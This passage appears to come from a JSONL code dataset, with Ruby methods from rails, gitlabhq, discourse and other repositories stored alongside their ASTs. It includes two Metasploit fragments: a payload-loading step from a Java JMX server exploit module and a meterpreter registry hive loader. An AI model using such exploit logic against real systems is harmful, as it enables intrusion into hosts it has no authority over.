token\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8500]}]}]}]}]}]}","id":"31fe7fc8-ee7d-4be1-a89e-900397e55e17"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/edit_form_header_component.rb","start_line":34,"raw_source":"def initialize(storage:, selected:)\n super\n @storage = storage\n @selected = selected\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"storage\"]},{\"type\":\"kwarg\",\"children\":[\"selected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@storage\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@selected\",{\"type\":\"lvar\",\"children\":[\"selected\"]}]}]}]}","id":"12f66132-8a95-42c8-90d9-931789ca1fb9"}
+{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/error.rb","start_line":9,"raw_source":"def initialize(response = nil, message = nil)\n @response = response\n super(message || response&.body)\n end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"response\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]}]}","id":"9cfc05cf-9e69-4d54-8c51-bd9a90a47607"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/parser/test_test.rb","start_line":77,"raw_source":"def test_parse_single_test_no_name_no_holiday\n input = [ { \"given\" => { \"date\" => \"2016-01-01\", \"regions\" => ['us']}, \"expect\" => { \"holiday\" => false } } ]\n @validator.expects(:valid?).with({:dates => [\"2016-01-01\"], :regions=> ['us'], :name => nil, :options => nil, :holiday => false}).returns(true)\n\n result = @parser.call(input)\n\n assert_equal(1, result.size)\n\n test = result.first\n assert(test)\n\n assert(test.is_a?(Holidays::Definition::Entity::Test))\n assert_equal([DateTime.parse('2016-01-01')], test.dates)\n assert_equal([:us], test.regions)\n assert_nil(test.options)\n assert_nil(test.name)\n assert_equal(false, test.holiday?)\n end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_single_test_no_name_no_holiday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"given\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"holiday\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validator\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"valid?\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dates\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"holiday\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"returns\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"test\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Entity\"]},\"Test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"dates\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"regions\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"holiday?\"]}]}]}]}","id":"3dbf146f-e6e7-481f-9d6c-0999a50939e0"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jmx_server.rb","start_line":256,"raw_source":"def load_payload(conn_stub)\n vprint_status(\"Getting JMXPayload instance...\")\n\n begin\n res = send_jmx_get_object_instance(\n object_number: conn_stub[:object_number],\n uid_number: conn_stub[:uid].number,\n uid_time: conn_stub[:uid].time,\n uid_count: conn_stub[:uid].count,\n name: \"#{@mlet}:name=jmxpayload,id=1\"\n )\n rescue ::Rex::Proto::Rmi::Exception => e\n case e.message\n when 'javax.management.InstanceNotFoundException'\n vprint_warning(\"JMXPayload instance not found, trying to load\")\n return load_payload_from_url(conn_stub)\n else\n vprint_error(\"getObjectInstance returned unexpected exception #{e.message}\")\n return false\n end\n end\n\n return false if res.nil?\n\n true\n end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn_stub\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Getting JMXPayload instance...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_jmx_get_object_instance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mlet\"]}]},{\"type\":\"str\",\"children\":[\":name=jmxpayload,id=1\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.management.InstanceNotFoundException\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"str\",\"children\":[\"JMXPayload instance not found, trying to load\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_payload_from_url\",{\"type\":\"lvar\",\"children\":[\"conn_stub\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"getObjectInstance returned unexpected exception \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"79565cd8-ce49-4264-989d-c40666adaf99"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/broadcast_logger.rb","start_line":135,"raw_source":"def level\n @broadcasts.map(&:level).min\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@broadcasts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]}]}]},\"min\"]}]}","id":"9f6c9f88-f631-47fb-b0d8-299a62de8d27"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240906103042_remove_projects_vulnerability_state_transitions_project_id_fk.rb","start_line":9,"raw_source":"def up\n with_lock_retries do\n remove_foreign_key_if_exists(:vulnerability_state_transitions, :projects,\n name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"vulnerability_state_transitions\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"10b17658-291d-4db0-9e15-68f4064e95b0"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_cluster.rb","start_line":133,"raw_source":"def direct_vm_or_template_ids\n direct_vm_ids + direct_miq_template_ids\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_vm_or_template_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"direct_vm_ids\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"direct_miq_template_ids\"]}]}]}","id":"ca6f04b9-74bd-4647-89f0-f2c84425d69f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/template/base_template.rb","start_line":52,"raw_source":"def <=>(other)\n name <=> other.name\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"name\"]}]}]}","id":"d43cdd4c-db5b-425c-a74a-2f012f709095"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/stack.rb","start_line":153,"raw_source":"def move_after(target, source)\n source_index = assert_index(source, :after)\n source_middleware = middlewares.delete_at(source_index)\n\n target_index = assert_index(target, :after)\n middlewares.insert(target_index + 1, source_middleware)\n end","complexity_score":10.95,"ast_json":"{\"type\":\"def\",\"children\":[\"move_after\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_index\",{\"type\":\"send\",\"children\":[null,\"assert_index\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_middleware\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"delete_at\",{\"type\":\"lvar\",\"children\":[\"source_index\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_index\",{\"type\":\"send\",\"children\":[null,\"assert_index\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"insert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"source_middleware\"]}]}]}]}","id":"1258eb65-d3b3-4a09-a6e1-3c16120a8c77"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query.rb","start_line":700,"raw_source":"def unseen_filter(list, user_first_seen_at, whisperer)\n list = list.where(\"topics.bumped_at >= ?\", user_first_seen_at)\n\n col_name = whisperer ? \"highest_staff_post_number\" : \"highest_post_number\"\n list.where(\"tu.last_read_post_number IS NULL OR tu.last_read_post_number < topics.#{col_name}\")\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unseen_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]},{\"type\":\"arg\",\"children\":[\"user_first_seen_at\"]},{\"type\":\"arg\",\"children\":[\"whisperer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"where\",{\"type\":\"str\",\"children\":[\"topics.bumped_at >= ?\"]},{\"type\":\"lvar\",\"children\":[\"user_first_seen_at\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"col_name\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"whisperer\"]},{\"type\":\"str\",\"children\":[\"highest_staff_post_number\"]},{\"type\":\"str\",\"children\":[\"highest_post_number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tu.last_read_post_number IS NULL OR tu.last_read_post_number < topics.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col_name\"]}]}]}]}]}]}","id":"8bf05e60-00ad-429b-84e0-ad01c71736f5"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/notes_actions.rb","start_line":40,"raw_source":"def create\n @note = Notes::CreateService.new(note_project, current_user, create_note_params).execute\n\n respond_to do |format|\n format.json do\n json = {\n commands_changes: @note.commands_changes&.slice(:emoji_award, :time_estimate, :spend_time)\n }\n\n if @note.persisted? && return_discussion?\n json[:valid] = true\n\n discussion = @note.discussion\n prepare_notes_for_rendering(discussion.notes)\n json[:discussion] = discussion_serializer.represent(discussion, context: self)\n else\n prepare_notes_for_rendering([@note])\n\n json.merge!(note_json(@note))\n end\n\n quick_actions = @note.quick_actions_status\n json[:quick_actions_status] = quick_actions.to_h if quick_actions\n\n if @note.errors.present?\n render json: { errors: errors_on_create(@note) }, status: :unprocessable_entity\n elsif quick_actions&.error?\n render json: { quick_actions_status: quick_actions.to_h }, status: :unprocessable_entity\n else\n render json: json\n end\n end\n format.html { redirect_back_or_default }\n end\n end","complexity_score":66.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@note\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notes\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"note_project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"create_note_params\"]}]},\"execute\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commands_changes\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"commands_changes\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"emoji_award\"]},{\"type\":\"sym\",\"children\":[\"time_estimate\"]},{\"type\":\"sym\",\"children\":[\"spend_time\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"return_discussion?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"valid\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"discussion\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"discussion\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_notes_for_rendering\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]},\"notes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"discussion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discussion_serializer\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"discussion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepare_notes_for_rendering\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"note_json\",{\"type\":\"ivar\",\"children\":[\"@note\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quick_actions\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"quick_actions_status\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"quick_actions_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},\"to_h\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"errors\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[null,\"errors_on_create\",{\"type\":\"ivar\",\"children\":[\"@note\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},\"error?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quick_actions_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},\"to_h\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_back_or_default\"]}]}]}]}]}]}","id":"fb560494-f04b-4a18-b2dd-649d1393d7b8"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/registry.rb","start_line":470,"raw_source":"def meterpreter_registry_loadkey(key, file)\n begin\n client.sys.config.getprivs()\n root_key, base_key = session.sys.registry.splitkey(key)\n begin\n loadres = session.sys.registry.load_key(root_key, base_key, file)\n rescue Rex::Post::Meterpreter::RequestError => e\n case e.to_s\n when \"stdapi_registry_load_key: Operation failed: 1314\"\n #print_error(\"You appear to be lacking the SeRestorePrivilege. Are you running with Admin privs?\")\n return false\n when \"stdapi_registry_load_key: Operation failed: The system cannot find the path specified.\"\n #print_error(\"The path you provided to the Registry Hive does not Appear to be valid: #{file}\")\n return false\n when \"stdapi_registry_load_key: Operation failed: The process cannot access the file because it is being used by another process.\"\n #print_error(\"The file you specified is currently locked by another process: #{file}\")\n return false\n when /stdapi_registry_load_key: Operation failed:/\n #print_error(\"An unknown error has occurred: #{loadres.to_s}\")\n return false\n else\n return true\n end\n end\n\n rescue\n return false\n end\n end","complexity_score":35.0,"ast_json":"{\"type\":\"def\",\"children\":[\"meterpreter_registry_loadkey\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getprivs\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_key\"]},{\"type\":\"lvasgn\",\"children\":[\"base_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"registry\"]},\"splitkey\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loadres\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"registry\"]},\"load_key\",{\"type\":\"lvar\",\"children\":[\"root_key\"]},{\"type\":\"lvar\",\"children\":[\"base_key\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed: 1314\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed: The system cannot find the path specified.\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed: The process cannot access the file because it is being used by another process.\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed:\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]}]}","id":"28ed02fc-9ddd-4e6c-9e68-208b1a3fdf5f"}
